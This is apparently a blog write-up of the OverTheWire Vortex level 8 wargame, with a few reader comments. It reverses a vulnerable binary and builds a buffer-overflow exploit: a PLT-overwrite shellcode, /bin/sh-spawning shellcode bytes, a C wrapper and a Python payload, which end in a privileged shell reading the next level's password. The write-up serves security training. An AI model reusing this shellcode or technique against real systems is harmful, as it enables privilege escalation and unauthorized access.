Overthewire Vortex Level8, part I

Ok, lets defeat the next level. I was stuck on this level a long time (I’ve mentioned it in my first OTW post). Finally I’ve completed it. I’ve learned a lot of things, and practiced a bit of shellcode writing.

First step is to reverse the binary. A pretty easy one:

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>

void *safecode(void *handle) {
    while(1) {
        int var = 0;
        printf("%d\n", var);
        fflush(stdout);
        sleep(1);
    }
}

void unsafecode(const char* arg0) {
    char buffer[1024];
    strcpy(buffer, arg0);
}

int main(int argc, char **argv) {
    pthread_t tid;

    pthread_create(&tid, NULL, safecode, NULL);

    setresgid(getgid(),getgid(),getgid());
    setresuid(getuid(),getuid(),getuid());
    unsafecode(argv[1]);
}

What do we see here? The program starts a thread (safecode), drops all privileges, and executes unsafecode. Unsafecode is really unsafe, because it has a buffer overflow bug. If you have followed the previous levels, it should be a routine task now, to overwrite EIP and inject some shellcode. Using the same wrapper as in the previous levels, we can easily trigger the exploit:

 ./l8w `python -c 'print "A"*1024+"AAAAAAAAAAAA\x0c\xff\x7f\xbf"'`

Popping a shell here leads to nowhere, because the program has dropped all its privileges. We should somehow hijack the execution flow of the thread, which was spawn with the original privileges. (I’ve checked also, that .dtors are only called by the original process, and not by the spawned threads.)

Ideas to hijack the execution flow of the privileged thread:

  • overwrite the argument string of printf (“%d\n”), and cause a format string exploit
  • overwrite the address of printf or fflush in the got/plt table
  • overwrite ret address in the thread’s stack

The first idea fails with SEGFAULT, because the memory page which contains the above constant (“%d\n”) is not writeable. Maybe we could play with mprotect or something similar, but I don’t think, that is the right direction.

The second idea sounds reasonable. I’ve created a small shellcode, to do the plt overwrite:

.section .text
  .globl main

    main:
        jmp end
    main2:
        pop %ebx
        add $30,%ebx
        mov $0x804980c, %eax
        mov %ebx,(%eax)
        jmp end2
    end:
        call main2
    end2:

To compile, and dump the bytecode, I used this commands:

as --32  test.s  -o test.o.
objdump -d test.o.

Lately I found radare, which is a usefull tool for reverse engineering, and exploit writing. I will try to use it, in the forthcoming posts.

First we determine the address of our current stack position using this call+pop trick used in a lot of shellcodes. After that we add 30 to it, to have some space available, if we want to put some extra code there. So our layout looks like:

[nop sled][plt overwrite code][nop sled][spawn a privileged shell code]

Once we’ve run it, we will see, that the program’s main thread spawns a non privileged shell, and we can not interact with the spawned privileged shell. We can use different shellcode (maybe tcp connect back), or just simply put the main thread to sleep. For this I used this piece of code:

    push $40
    mov $0x08048444, %ebx
    call *ebx

Just for the whole picture our wrapper will look like:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char* argv[]) {
    if(argc != 2)
	return EXIT_FAILURE;
    
    char* sh = 
    //nop sled
    "\x90\x90\x90[.. x500 ...]\x90\x90\x90\x90"

    /*
        00000000 <main>:
            0:	eb 0d                	jmp    f <end>
        00000002 <main2>:
            2:	5b                   	pop    %ebx
            3:	83 c3 1e             	add    $0x1e,%ebx
            6:	b8 0c 98 04 08       	mov    $0x804980c,%eax
            b:	89 18                	mov    %ebx,(%eax)
            d:	eb 05                	jmp    14 <end2>
        0000000f <end>:
            f:e8 ee ff ff ff       	call   2 <main2>
    */

    //overwrite plt
    "\xeb\x0d\x5b\x83\xc3\x1e\xb8\x0c\x98\x04\x08\x89\x18\xeb\x05\xe8\xee\xff\xff\xff"
    //sleep 0x40
    "\x6a\x40\xbb\x44\x84\x04\x08\xff\xd3"
    //nop sled
    "\x90\x90[.x30..]\x90\x90"
    //shell spawning code   
    "\xeb\x2b\x5e\x31\xc0\xb0\x46\x31\xdb\x66\xbb\xfe\x01\x31\xc9\x66"
    "\xb9\xfe\x01\xcd\x80\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89"
    "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xd0\xff"
    "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff\xff\xff";

    char parm[2048];
    strncpy(parm, argv[1],2048);

    char* arg[] = {"./l8w", parm, NULL};
    char* env[] = {sh, NULL};
    printf("%p\n", sh);
    execve("/vortex/level8",arg,env);
}

Ok, it’s time to run the wrapper:

vortex8@games /tmp $  ./l8w1 `python -c 'print "A"*1024+"AAAAAAAAAAAA\x0c\xff\x7f\xbf"'`
0
0
sh-3.2$ cat /etc/vortex_pass/vortex9
*********

Ok, finished! I don’t know why it took me so long to solve this.

In the second part of this post I will try the third idea.

Advertisements
This entry was posted in Wargame and tagged , , . Bookmark the permalink.

4 Responses to Overthewire Vortex Level8, part I

  1. Pingback: Overthewire Vortex Level 8, part II | Axtaxt's Blog

  2. Pingback: Overthewire Vortex Level11 | Axtaxt's Blog

  3. K.A. says:

    “The second idea sounds reasonable. I’ve created a small shellcode, to do the plt overwrite:”
    PLT is read-only, how can you overwrite it?
    “mov $0x804980c, %eax ” What address is this? You might have published disassembled codes to be more clear ?!
    Thanks anyway..

    • Jack says:

      if you disassemble safecode function in gdb you can infer that address above is most likely the call to printf@plt.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s